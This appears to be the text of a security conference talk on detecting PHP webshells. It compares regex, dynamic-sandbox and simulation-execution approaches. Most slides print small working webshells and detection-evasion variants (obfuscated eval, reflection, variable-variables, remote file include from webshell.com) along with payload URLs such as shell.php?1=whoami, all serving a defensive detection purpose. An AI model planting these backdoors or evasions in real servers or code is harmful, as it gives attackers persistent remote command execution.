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• Alibaba Cloud Security Expert

• Capacity building for CWPP security products

• Good at malicious file detection、host intrusion detection



Why need malicious text detection?

• Good system adaptability(bash、powershell、python etc)

• Easy and simple development(Script kids ）

• Powerful to do almost anything

Increasing number of botnet families using malicious scripts as attack method

Advantages
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Why need malicious text detection?

vulnerability Mining
Brute Force

Social engineering

Persistence
MalScript

Mining botnet attack methods

Lateral movement

• Release the mining program and run

• Implant malicious scheduled tasks
self-starting tasks

• Attack other machines on the intranet



Why need malicious text detection?

WebShell = Web Server Persistent Control

<?php eval($_POST[“pass"]);?>

${Runtime.getRuntime().exec(param.a)}

<% execute(request(“pass”))?>

• Arbitrary code execution

• Arbitrary command execution

• Arbitrary Directory/File Read/Write

• Database Dump

• Hotlink

• Phishing

• …



How to detect WebShell?

The Dilemma of Regular Expressions

<?php eval($_POST[“pass"]);?>

import re

re.findall(r'(eval|system)\(\$_(POST|GET|REQUEST)',webshell)

<?php eval($_POST[  wrong syntax

False Positive

<?php

$f = "c"."rea"."te"."_func"."tion";

$shell = $f("\$c","e"."v"."al"."('?>'.bas"."e64_"."dec"."ode(\$c));");

$shell($_GET["pass"]);

Detect Rule False negatives



How to detect WebShell?

Dynamic sandbox solution

<?php

$pass = str_rot13($_POST[“pass"]));

eval($pass);

?>

$_POST

Variable:
$pass

Function:
str_rot13

eval

Source

Stain Spread

Sink

Malicious sample run in the sandbox and gets OPCODE call sequence to detect



The Dilemma of Dynamic Sandbox

<?php

$in = $_GET['ccc’];
$nnn = $_GET['ddd’];
$cmd = "";
$table = "01234567890qwertyuiopasdfghjklzxcvbnm";

for ($i=0; $i < strlen($in); $i++) { 

$this_char = $in[$i];

for ($j=0; $j < strlen($table); $j++) { 

if($this_char == $table[$j+$nnn]){

$cmd = $cmd . $table[$j];

}}}

system($cmd);

payload: 
shell.php?ccc=whoami&ddd=0

Indirect taint

Conditional branch confrontation

• The dynamic sandbox cannot get external input
and cannot get all opcode call sequences.

• Attackers construct complex branches to avoid 
sandbox detection.



The Dilemma of Dynamic Sandbox

payload:
shell.php?class=Shell&val=phpinfo();

<?php

class Shell {

public static $shell="hello world!!!";

}

$reflectionClass = new ReflectionClass($_GET["class"]);

$reflectionClass->getProperty("shell")->setValue($_GET["val"]);

eval(Shell::$shell);

Taint is not transferable

The dynamic sandbox fails to run Because

it cannot get  the externally controllable reflection class name



The Dilemma of Dynamic Sandbox

payload: 
According to remote code

<?php

copy("http://webshell.com/1.png",'evil.png');

if($_GET["abc"]=="pass"){
require “evil.png”;

}
else{

echo "no file";
}

c();?>

File and Network Operations

• If you don't simulate the file/network system, 
cannot require evil.png

• Attackers use network or file streams to disrupt
taint.



The Dilemma of Dynamic Sandbox

payload:
shell.php?pass=phpinfo();

<?php

define('LARAVEL_START', microtime(true));
require __DIR__.'/../vendor/autoload.php’;
$app = require_once __DIR__.'/../bootstrap/app.php’; 

$a=array($_REQUEST['pass']=>"3");
$b=array_keys($a)[0];
eval($b);

$kernel = $app->make(Illuminate\Contracts\Http\Kernel::class);
$response = $kernel->handle(
$request = Illuminate\Http\Request::capture()
);
$response->send();
$kernel->terminate($request, $response);

Lack of dependence

• In real attacks, 
WebShell is usually inserted into normal business code.

• Sandbox does not work properly
due to missing dependencies



The Dilemma of Dynamic Sandbox

payload:
shell.php?1=whoami

<?php

$a = rand(114,116);
$b = (chr($a)."ystem");
$b($_GET[1]);

?>

payload:
shell.php?1=whoami

<?php
// filename=system.php

$a = basename(__FILE__, '.php’);
$a($_GET[1]);

?>

Uncertain value

We call this situation "uncertain value", and it's easy to see that the sandbox struggles to deal with it.



The Dilemma of Dynamic Sandbox

payload:
shell.php?var_name=a&cmd=whoami

<?php
// php5&php7 compatible syntax
${$_GET['var_name']}=$_GET['cmd']; 
system($a); 

?>

<?php
//php5 support,but not php7
$$_GET['var_name']=$_GET['cmd']; 
system($a);

?>

Scripting language version fragmentation new release has new features 
and is likely to bring a new bypass surface.



The Dilemma of Dynamic Sandbox

pwn($_GET) https://github.com/mm0r1/exploits

address: zif_system function

UAF vulnerability

Use a PHP exploit to act as a WebShell to avoid taint flow tracking.



Our solution

Although Static detection / Dynamic sandbox detection has many disadvantages
there are also some advantages

Static detection
• Fast detection

• The writing rules are simple
and the threshold is low

Dynamic sandbox detection
• Accurate detection with 

low false positives

Our solution :
Static Detection Engine + Dynamic Sandbox Detection Engine + Simulation Execution Engine



What is Simulation Execution Engine?

Simulation Execution Engine

Self-developed VM

language processing

AST

Built with reasoning-based simulation execution techniques,

designed for high-level confrontation.

Features:
• Multiple languages supported in one engine

• AST-based Self-developed VM, not Opcodes-based

• Dynamic execution, not static analysis

• High detections, low false positives



How to support multiple languages?

Modifiers ReturnType FunctionName(ParameterType parameter,...) {
/* FunctionBody; */
return [expression];

}

Definition of Java Function

function FunctionName($parameter1, $parameter2, ...) {
/* FunctionBody; */
return [expression];

}

Definition of PHP Function

def FunctionName(parameter1, parameter2, ...) :
# FunctionBody
return [expression]

Definition of Python Function

[Modifiers]
[ReturnType]
[Identifier]
FunctionName([ParameterType] parameter, …) {
FunctionBody
return [expression];
}

Definition of Uniform Functions

Multiple languages, unified expression



Why Self-developed VM is based on AST?

Structured, closer to source code

<?php
$a = '';
$b = array('l', 's', ' ', '-', 'l','a');
for ($i=0; $i<(int)($_GET['c']); $i++)
{
$a .= $b[$i];

}
system($a);

Source Code

Generated Opcodes

#* I O op fetch ext return operands

0 > ASSIGN !0, ''

1 ASSIGN !1, <array>

2 ASSIGN !2, 0

3 > JMP ->7

4 > FETCH_DIM_R ~6 !1, !2

5 ASSIGN_OP 8 !0, ~6

6 PRE_INC !2

7 > FETCH_R global ~9 '_GET'

8 FETCH_DIM_R ~10 ~9, 'c'

9 CAST 4 ~11 ~10

10 IS_SMALLER !2, ~11

11 > JMPNZ ~12, ->4

12 > INIT_FCALL 'system'

13 SEND_VAR !0

14 DO_ICALL

15 > RETURN 1

Generated AST

Flattened, missing information
More expressive of attacker intent!



It's a Dynamic execution Engine
Self-developed Dynamic execution VM Architecture

Including simulation programs such as IO, NET, Thread, etc.

Built-in classes Built-in functions Built-in constants

Symbol scope manager Function call stack manager

Decision unit for AST nodesAST nodes calculator

AST node processing and Taint spreading

Self-developed standard library and Runtime management

Process-level System Simulation Component

Including identification and correction of uncertain values, 
indirect stains, possible values, etc.

Reasoning techniques

Core Features of VM:

• AST-based

• Really compute the value of each node 
in the AST

• Built-in multiple reasoning techniques

• Runtime management

• Self-developed standard library

• System Simulation



How to achieve high-level confrontation?

Decision unit

AST calculation process in VM

Core Features of Decision unit:

• Context-based, fine-grained control

• Record and track each node information 

• Identify attacker intent and calculate results 
based on reasoning techniques 

• With contextual information, malicious behavior 
can be identified more accurately and false 
positives can be avoided



<?php

$a = 10;

${$_GET[‘var‘]} = $_GET[‘code'];

eval($a);

The Capability of Simulation Execution Engine

payload:
shell.php?var=a&code=phpinfo();

Engine Calculation process:

Record local variable a

[Reasoning technique]
Attacker intent: variable name can be controlled
Correction: find variable a, and replace it

Sink

Controlled variable name



The Capability of Simulation Execution Engine

Engine Calculation process:

Record local variables in and nnn,
and marked as a taint source

[Reasoning technique]
Attacker intent: value of the variable cmd is affected 
by the values of the variables in and nnn
Correction: mark variable cmd as an "indirect taint"

Sink

<?php

$in = $_GET['ccc’];
$nnn = $_GET['ddd’];
$cmd = "";
$table = "01234567890qwertyuiopasdfghjklzxcvbnm";

for ($i=0; $i < strlen($in); $i++) { 

$this_char = $in[$i];

for ($j=0; $j < strlen($table); $j++) { 

if ($this_char == $table[$j+$nnn]) {

$cmd = $cmd . $table[$j];

}}}

system($cmd);

payload: 
shell.php?ccc=whoami&ddd=0

Conditional branch confrontation



<?php

class Shell {

public static $shell="hello world!!!";

}

$reflectionClass = new ReflectionClass($_GET["class"]);

$reflectionClass->getProperty("shell")->setValue($_GET["val"]);

eval(Shell::$shell);

payload:
shell.php?class=Shell&val=phpinfo();

The Capability of Simulation Execution Engine

Engine Calculation process:

Record Shell class is defined

[Reasoning technique]
Attacker intent: class name can be controlled
Correction: find Shell class, and replace it

Sink

Taint is not transferable



<?php

copy ( “http://webshell.com/1.png” , 'evil.png‘ );

if ( $_GET[“abc”] == “pass” ) {
require “evil.png”;

}
else {

echo "no file";
}

c();?>

The Capability of Simulation Execution Engine

payload:  
According to remote code

File and Network Operations

Engine Calculation process:

[Reasoning technique]

Attacker intent: read content from network and write to evil.png file
Correction: create evil.png in the simulated IO system and mark the 
file content as a taint source

[Reasoning technique]

Attacker intent: result of the conditional statement of the if branch 
can be controlled
Correction: let the result be corrected to True

Sink



<?php

define('LARAVEL_START', microtime(true));
require __DIR__.'/../vendor/autoload.php’;
$app = require_once __DIR__.'/../bootstrap/app.php’; 

$a = array($_REQUEST[‘pass’]=>“3”);

$b = array_keys($a)[0];

eval($b);

$kernel = $app->make(Illuminate\Contracts\Http\Kernel::class);
$response = $kernel->handle(
$request = Illuminate\Http\Request::capture()
);
$response->send();
$kernel->terminate($request, $response);

The Capability of Simulation Execution Engine
payload:
shell.php?pass=phpinfo();

Lack of dependence

Engine Calculation process:
Ignore exceptions caused by lack of dependencies

[Reasoning technique]
Attacker intent: array keys can be controlled 
Correction: all keys in the array are marked as 
taint sources

Sink



<?php

$a = rand(114,116);

$b = (chr($a)."ystem");

$b($_GET[1]);

?>

The Capability of Simulation Execution Engine

payload:
shell.php?1=whoami

Uncertain value

[Reasoning technique]

Attacker intent: the rand function is called, affecting the result of 
subsequent code execution
Correction: the function return value is marked as “Uncertain value”,
variable a also has this flag

Engine Calculation process:

"Uncertain value" flag also support spreading

Sink The function has the "Uncertain value" flag, 
and the parameter is a taint.



<?php

$l = strlen(number_format(-0.01));

$fn = substr('11system', $l, 6);

$fn($_GET['cmd']);

The Capability of Simulation Execution Engine

payload:
shell.php?cmd=whoami

Backward incompatible changes

Engine Calculation process:

[Reasoning technique]
Attacker intent: number_format function returns different results 
in different versions of PHP 
Correction: return all possible values. possible values of the 
variable l are 1 and 2

Possible values of variable fn are 1syste and system

Sink When the value of the variable fn is system



Bounty Challenge

• Every valid sample will be rewarded

• A total of more than 3000+ white hats participated 

• Receive hundreds of interesting bypass tricks

Offense and defense are endless
the ability to improve with the help of external ecological power



Security capabilities are visible and testable

• Suspicious code highlighted

• Support WebShell detection in PHP,JSP,ASP,ASPX etc.

• Not only supports the detection of WebShell
but also supports the detection of various malicious binaries

• Welcome to test and use for free !!!

https://ti.aliyun.com

https://ti.aliyun.com/


Thank You!
If you have any questions
please email magicbluech@gmail.com


